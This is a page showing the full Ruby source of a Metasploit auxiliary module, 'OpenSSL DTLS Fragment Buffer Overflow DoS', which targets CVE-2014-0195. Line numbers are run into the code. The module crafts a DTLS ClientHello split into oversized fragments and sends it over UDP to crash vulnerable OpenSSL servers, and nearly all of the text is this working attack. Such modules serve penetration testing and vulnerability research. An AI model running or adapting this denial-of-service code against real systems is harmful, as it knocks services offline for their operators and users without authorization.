Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Dos7include Exploit::Remote::Udp89def initialize(info = {})10super(update_info(info,11'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',12'Description' => %q{13This module performs a Denial of Service Attack against Datagram TLS in14OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.15This occurs when a DTLS ClientHello message has multiple fragments and the16fragment lengths of later fragments are larger than that of the first, a17buffer overflow occurs, causing a DoS.18},19'Author' =>20[21'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery22'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module23],24'License' => MSF_LICENSE,25'References' =>26[27['CVE', '2014-0195'],28['ZDI', '14-173'],29['BID', '67900'],30['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],31['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']32],33'DisclosureDate' => '2014-06-05'))3435register_options([36Opt::RPORT(4433),37OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])38])3940end4142def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)43# format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),44# fragment offset (3 bytes), fragment length (3 bytes), fragment body45sol = (seq << 48) | (frag_offset << 24) | frag_length46[47(type << 24) | length,48(sol >> 32),49(sol & 0x00000000FFFFFFFF)50].pack("NNN") + frag_body51end5253def build_tls_message(type, version, epoch, sequence, message)54# format is: type (1 byte), version (2 bytes), epoch # (2 bytes),55# sequence # (6 bytes) + message length (2 bytes), message body56es = (epoch << 48) | sequence57[58type,59version,60(es >> 32),61(es & 0x00000000FFFFFFFF),62message.length63].pack("CnNNn") + message64end6566def run67# add a small fragment68fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')69# add a large fragment where the length is significantly larger than that of the first70# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations71fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))72message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)73connect_udp74print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")75udp_sock.put(message)76disconnect_udp77end78end798081